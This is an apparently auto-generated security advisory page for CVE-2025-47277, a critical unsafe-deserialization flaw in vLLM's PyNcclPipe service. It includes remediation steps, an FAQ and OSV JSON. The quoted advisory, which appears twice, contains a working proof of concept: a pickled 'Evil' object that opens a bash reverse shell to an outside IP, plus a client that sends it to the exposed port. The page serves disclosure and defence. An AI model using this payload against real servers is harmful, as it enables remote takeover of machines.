CVE-2025-47277: Vllm Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-hjq4-87xh-g4fv
CVSS 9.8
CWE-502
Published
Advisory Summary

CVE-2025-47277 is a CRITICAL (CVSS 9.8) remote code execution vulnerability (CWE-502: Deserialization of Untrusted Data) affecting Vllm libraries in the PyPI ecosystem. The issue involves vllm allows remote code execution via pyncclpipe communication service. Remediation is available by upgrading affected packages to version 0.8.5.

CVE-2025-47277 at a Glance

CVE Identifier CVE-2025-47277
GHSA Identifier GHSA-hjq4-87xh-g4fv
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-502: Deserialization of Untrusted Data
Affected Product Vllm
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2025-47277

To remediate this vulnerability, upgrade all affected Vllm dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

vllm fixed: 0.8.5
pip install vllm>=0.8.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show vllm

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2025-47277, inspect your installed packages using pip:

pip show vllm

Analyze the terminal output to locate any version of Vllm in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.8.5), your application is affected.

Note: The pip show vllm command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-502: Deserialization of Untrusted Data, where the product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. In Vllm, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impacted Environments This issue ONLY impacts environments using the `PyNcclPipe` KV cache transfer integration with the V0 engine. No other configurations are affected. ### Summary vLLM supports the use of the `PyNcclPipe` class to establish a peer-to-peer communication domain for data transmission between distributed nodes. The GPU-side KV-Cache transmission is implemented through the `PyNcclCommunicator` class, while CPU-side control message passing is handled via the `send_obj` and `recv_obj` methods on the CPU side.​ A remote code execution vulnerability exists in the `PyNcclPipe` service. Attackers can exploit this by sending malicious serialized data to gain server control privileges. The intention was that this interface should only be exposed to a private network using the IP address specified by the `--kv-ip` CLI parameter. The vLLM documentation covers how this must be limited to a secured network: https://docs.vllm.ai/en/latest/deployment/security.html Unfortunately, the default behavior from PyTorch is that the `TCPStore` interface will listen on ALL interfaces, regardless of what IP address is provided. The IP address given was only used as a client-side address to use. vLLM was fixed to use a workaround to force the `TCPStore` instance to bind its socket to a specified private interface. This issue was reported privately to PyTorch and they determined that this behavior was intentional. ### Details The `PyNcclPipe` implementation contains a critical security flaw where it directly processes client-provided data using `pickle.loads` , creating an unsafe deserialization vulnerability that can lead to ​Remote Code Execution. 1. Deploy a `PyNcclPipe` service configured to listen on port `18888` when launched: ```python from vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe import PyNcclPipe from vllm.config import KVTransferConfig config=KVTransferConfig( kv_ip="0.0.0.0", kv_port=18888, kv_rank=0, kv_parallel_size=1, kv_buffer_size=1024, kv_buffer_device="cpu" ) p=PyNcclPipe(config=config,local_rank=0) p.recv_tensor() # Receive data ``` 2. The attacker crafts malicious packets and sends them to the `PyNcclPipe` service: ```python from vllm.distributed.utils import StatelessProcessGroup class Evil: def __reduce__(self): import os cmd='/bin/bash -c "bash -i >& /dev/tcp/172.28.176.1/8888 0>&1"' return (os.system,(cmd,)) client = StatelessProcessGroup.create( host='172.17.0.1', port=18888, rank=1, world_size=2, ) client.send_obj(obj=Evil(),dst=0) ``` The call stack triggering ​RCE is as follows: ``` vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_impl -> vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_metadata -> vllm.distributed.utils.StatelessProcessGroup.recv_obj -> pickle.loads ``` Getshell as follows: ![image](https://github.com/user-attachments/assets/487746ee-3b77-4e4d-99cc-d1ca08431215) ### Reporters This issue was reported independently by three different parties: * @kikayli (Zhuque Lab, Tencent) * @omjeki * Russell Bryant (@russellb) ### Fix * https://github.com/vllm-project/vllm/pull/15988 -- vLLM now limits the `TCPStore` socket to the private interface as configured.

CVE-2025-47277 Affected Vllm Versions

1 component(s)
Fixed Versions:
0.8.5
Product / Package Ecosystem Affected Versions Fixed Version
vllm
PyPI
≥ 0.6.5
< 0.8.5
0.8.5

References

Frequently Asked Questions

What is CVE-2025-47277?
CVE-2025-47277 is a security vulnerability in Vllm involving vLLM Allows Remote Code Execution via PyNcclPipe Communication Service under CWE-502: Deserialization of Untrusted Data.
Which Vllm versions are affected?
Affected versions include releases prior to 0.8.5 across affected packages: vllm.
What version fixes CVE-2025-47277?
Upgrading to 0.8.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is vllm affected?
Yes, vllm is affected in releases prior to 0.8.5. Upgrade your dependency to 0.8.5 or later.
What is the CVSS score of CVE-2025-47277?
CVE-2025-47277 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2025-47277?
CVE-2025-47277 is classified under CWE-502: Deserialization of Untrusted Data (The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.).
How can I check PyPI dependencies for CVE-2025-47277?
Run the dependency tree command: 'pip show vllm'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
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  "schema_version" : "1.4.0",
  "id" : "GHSA-hjq4-87xh-g4fv",
  "modified" : "2026-07-17T16:14:26Z",
  "published" : "2025-05-20T18:04:30Z",
  "aliases" : [ "CVE-2025-47277" ],
  "summary" : "vLLM Allows Remote Code Execution via PyNcclPipe Communication Service",
  "details" : "### Impacted Environments\n\nThis issue ONLY impacts environments using the `PyNcclPipe` KV cache transfer integration with the V0 engine. No other configurations are affected.\n\n### Summary\nvLLM supports the use of the `PyNcclPipe` class to establish a peer-to-peer communication domain for data transmission between distributed nodes. The GPU-side KV-Cache transmission is implemented through the `PyNcclCommunicator` class, while CPU-side control message passing is handled via the `send_obj` and `recv_obj` methods on the CPU side.​ \n\nA remote code execution vulnerability exists in the `PyNcclPipe` service. Attackers can exploit this by sending malicious serialized data to gain server control privileges. \n\nThe intention was that this interface should only be exposed to a private network using the IP address specified by the `--kv-ip` CLI parameter. The vLLM documentation covers how this must be limited to a secured network: https://docs.vllm.ai/en/latest/deployment/security.html\n\nUnfortunately, the default behavior from PyTorch is that the `TCPStore` interface will listen on ALL interfaces, regardless of what IP address is provided. The IP address given was only used as a client-side address to use. vLLM was fixed to use a workaround to force the `TCPStore` instance to bind its socket to a specified private interface.\n\nThis issue was reported privately to PyTorch and they determined that this behavior was intentional.\n\n### Details\nThe `PyNcclPipe`  implementation contains a critical security flaw where it directly processes client-provided data using `pickle.loads`  , creating an unsafe deserialization vulnerability that can lead to ​Remote Code Execution.\n\n1. Deploy a `PyNcclPipe` service configured to listen on port `18888` when launched:\n```python\nfrom vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe import PyNcclPipe\nfrom vllm.config import KVTransferConfig\n\nconfig=KVTransferConfig(\n    kv_ip=\"0.0.0.0\",\n    kv_port=18888,\n    kv_rank=0,\n    kv_parallel_size=1,\n    kv_buffer_size=1024,\n    kv_buffer_device=\"cpu\"\n)\n\np=PyNcclPipe(config=config,local_rank=0)\np.recv_tensor() # Receive data\n```\n\n2. The attacker crafts malicious packets and sends them to the `PyNcclPipe` service:\n\n```python\nfrom vllm.distributed.utils import StatelessProcessGroup\n\nclass Evil:\n    def __reduce__(self):\n        import os\n        cmd='/bin/bash -c \"bash -i >& /dev/tcp/172.28.176.1/8888 0>&1\"'\n        return (os.system,(cmd,))\n\nclient = StatelessProcessGroup.create(\n    host='172.17.0.1',\n    port=18888,\n    rank=1,\n    world_size=2,\n)\n\nclient.send_obj(obj=Evil(),dst=0)\n```\n\nThe call stack triggering ​RCE is as follows:\n\n```\nvllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_impl\n\t-> vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_metadata\n\t\t-> vllm.distributed.utils.StatelessProcessGroup.recv_obj\n\t\t\t-> pickle.loads \n```\n\nGetshell as follows: \n\n![image](https://github.com/user-attachments/assets/487746ee-3b77-4e4d-99cc-d1ca08431215)\n\n### Reporters\n\nThis issue was reported independently by three different parties:\n\n* @kikayli (Zhuque Lab, Tencent)\n* @omjeki\n* Russell Bryant (@russellb)\n\n### Fix\n\n* https://github.com/vllm-project/vllm/pull/15988 -- vLLM now limits the `TCPStore` socket to the private interface as configured.",
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  "database_specific" : {
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    "github_reviewed_at" : "2025-05-20T18:04:30Z",
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}